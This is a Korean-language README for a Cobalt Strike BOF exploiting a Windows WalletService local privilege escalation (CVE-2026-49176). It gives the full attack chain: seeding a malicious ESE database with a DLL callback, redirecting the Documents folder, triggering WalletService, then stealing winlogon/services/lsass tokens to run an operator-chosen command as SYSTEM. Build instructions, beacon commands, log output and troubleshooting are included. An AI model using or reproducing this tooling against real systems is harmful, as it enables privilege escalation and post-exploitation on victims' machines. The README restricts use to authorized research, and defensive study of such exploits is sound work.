
CVE-2026-49176 WalletService LPE — 독립형 PoC + Cobalt Strike BOF (대화형 세션에서 SYSTEM 명령 실행)
Windows WalletService(CVE-2026-49176, 2026년 7월 패치)를 통한 로컬 권한 상승용 Cobalt Strike Beacon Object File(BOF) 입니다.
중간 무결성(일반 사용자) Beacon에서 이 도구는 악성 Wallet ESE 데이터베이스를 준비하고, Documents를 리디렉션하며, WalletService를 트리거하여 호출자가 지정한 명령줄을 대화형 데스크톱에서 NT AUTHORITY\SYSTEM 권한으로 실행합니다.
BOF 전용 트리.
원본 독립 실행형 PowerShell PoC: DavidCarliez/CVE-2026-49176_LPE_POC. 동일한 취약점 근본 원인, 다른 전달 방식 및 SYSTEM 획득 후 프로세스 실행 방식.
승인된 보안 연구, 교육, 방어 검증 용도로만 사용하십시오.
WalletService는 호출자를 가장(impersonate)한 상태에서 FOLDERID_Documents를 확인한 다음, LocalSystem 권한으로 복귀한 뒤 다음 파일을 엽니다:
<Documents>\Wallet\wallet.db
일반 사용자는 ESE 사용자 정의 기본값(user-defined default) 콜백(PATH\payload.dll!Export)으로 해당 데이터베이스를 시드하고, Documents를 제어된 디렉터리로 지정한 뒤 WinRT WalletManager.RequestStoreAsync / GetItemsAsync를 호출하여 서비스가 SYSTEM 권한으로 DLL을 로드하게 만들 수 있습니다.
분석 문서: CVE-2026-49176 Exploit Development: WalletService to SYSTEM
Standard user
→ seed Wallet\wallet.db with ESE persisted callback (DLL!WalletCallback)
→ SHSetKnownFolderPath(FOLDERID_Documents) → staging root
→ trigger WalletService (WinRT RequestStore / GetItems)
→ service opens DB as LocalSystem → LoadLibrary(callback DLL)
→ attacker code runs as SYSTEM ← LPE complete
WalletService는 종종 필터링된 SYSTEM 토큰(사용 가능한 SeAssignPrimaryToken / SeImpersonate 없음)을 사용합니다. 직접 CreateProcess* 호출 시 1314 오류가 발생합니다.
Original PoC (post-SYSTEM):
DLL → CreateService(shell_broker.exe) → broker → fixed cmd.exe
This BOF (post-SYSTEM):
DLL → steal winlogon/services/lsass token → spawn <command>
→ else CreateService(cmd /c broker) → broker → spawn <command>
bof_pack("bbZ")로 wallet_callback.dll + shell_broker.exe 패킹result.txt 진단| 항목 | 요구 사항 |
|---|---|
| Beacon | x64, 중간 무결성() |
bof/
├── README.md
├── entry.cpp # BOF orchestrator (go)
├── bofdefs.h / beacon.h
├── beacon-debug.h
├── cve2026_49176.cna
├── build.bat
├── payload/
│ ├── wallet_callback.c
│ └── shell_broker.c
├── bin/
│ ├── BOF/cve2026_49176.x64.o
│ └── payload/
│ ├── wallet_callback.dll
│ └── shell_broker.exe
└── resources/strip_bof.ps1
cd bof
build.bat
| 명령 | 출력 |
|---|---|
build.bat / build.bat both | DLL + broker + x64 BOF |
build.bat payload | DLL + broker만 |
build.bat clean | 산출물 제거 |
bin\payload\wallet_callback.dll
bin\payload\shell_broker.exe
bin\BOF\cve2026_49176.x64.o
VS가 기본 위치가 아닌 경우 build.bat에서 VCVARS64 경로를 편집하십시오.
중요 플래그: /DBOF /GS- /GR- /Gs999999 /GF- /Gy- /Gw- /Od(CS BOF 링커 안전성).
Cobalt Strike → Scripts → Load → cve2026_49176.cna
(재빌드 후 매번 다시 로드하십시오.)
beacon> cve2026_49176 C:\Windows\System32\cmd.exe
beacon> cve2026_49176 C:\Windows\Temp\payload.exe
beacon> cve2026_49176 C:\Windows\System32\cmd.exe /c whoami > C:\Users\Public\whoami.txt
%LOCALAPPDATA%\CVE-2026-49176-BOF\CVE49176_<tick>_<pid>\
├── Wallet\wallet.db
└── payload\
├── wallet_callback.dll
├── shell_broker.exe
├── command.txt # UTF-16 LE
└── result.txt
bof_pack(bid, "bbZ", wallet_callback.dll, shell_broker.exe, command)
[*] CVE-2026-49176 SYSTEM exec: C:\Windows\System32\cmd.exe [dll=... broker=... bof=...]
[*] CVE-2026-49176 BOF enter (args=...)
[*] parsed dll_len=... broker_len=... cmd_bytes=...
[*] stage payload...
[+] Seeded wallet.db, column=256
[*] Documents redirected to: ...
[+] WalletService triggered
[*] wait payload result (20s)...
[+] event=SYSTEM_PROCESS_STARTED ... user=SYSTEM detail=winlogon
[+] SYSTEM process launched
[*] Documents restored: ...
[+] CVE-2026-49176 BOF complete
detail= 값은 winlogon, services, lsass 또는 broker 경로일 수 있습니다.
리디렉션이 성공한 경우 실패 시에도 Documents는 복원됩니다.
cve2026_49176.cna
└─ inline-execute(entry.o, go, bbZ)
entry.cpp
├─ stage files under %LOCALAPPDATA%
├─ Jet*A seed wallet.db
├─ SHSetKnownFolderPath(Documents)
├─ WinRT WalletManager trigger
└─ wait result.txt + restore Documents
wallet_callback.dll (WalletService, SYSTEM)
├─ steal winlogon / services / lsass token → spawn command
└─ fallback: CreateService(cmd /c shell_broker)
shell_broker.exe
└─ command.txt → CreateProcessAsUser (interactive session)
%LOCALAPPDATA%\CVE-2026-49176-BOF\* + wallet.db + 콜백 DLLOpenProcess / 토큰 APICVE49176_*CreateProcessAsUserW / CreateProcessWithTokenW| 링크 | 설명 |
|---|---|
| DavidCarliez/CVE-2026-49176_LPE_POC | 원본 독립 실행형 LPE PoC(업스트림 연구 PoC) |
| 분석 문서 | 원본 연구 문서 |
| 단계 | 원본 PoC | 이 BOF |
|---|
| ESE DB 시드 | wallet_ese_seed.exe | BOF 내부 Jet*A |
| Documents 리디렉션 | documents_path.exe | BOF 내부 SHGet/SetKnownFolderPath |
| Wallet 트리거 | PowerShell WinRT | BOF 내부 RoGetActivationFactory |
| 콜백 DLL | wallet_callback_shell.dll | wallet_callback.dll |
| 원본 PoC | 이 BOF |
|---|
| 목표 프로세스 | 하드코딩된 cmd.exe | 운영자가 지정한 명령줄 |
| 기본 방법 | 임시 서비스 → shell_broker.exe → CreateProcessAsUserW | winlogon / services / lsass에서 토큰 탈취 → 프로세스 생성 |
| 폴백 | 없음 | SCM + cmd.exe /c "shell_broker.exe" "result.txt" |
| 대상 | 취약한 WalletService(2026년 7월 패치 이전) |
| CS | BOF를 지원하는 Cobalt Strike 4.x |
| 빌드 | VS 2019/2022 C++ + Windows 10 SDK(esent.h, WinRT) |
| 로그 | 의미 |
|---|
JetAddColumn: -1003 | ESE 매개변수 문제 |
error=1314 | 필터링된 SYSTEM, 토큰 탈취 / broker 필요 |
STEAL_FAIL error=5 | 대상 프로세스/토큰을 열 수 없음 |
StartService error=32 | 공유 위반(cmd 래퍼로 완화됨) |
detail=all_methods | 모든 SYSTEM 획득 후 전략 실패 |
링커 Unknown symbol '??_C@_...' | BOF 빌드 플래그 오류, build.bat으로 재빌드 |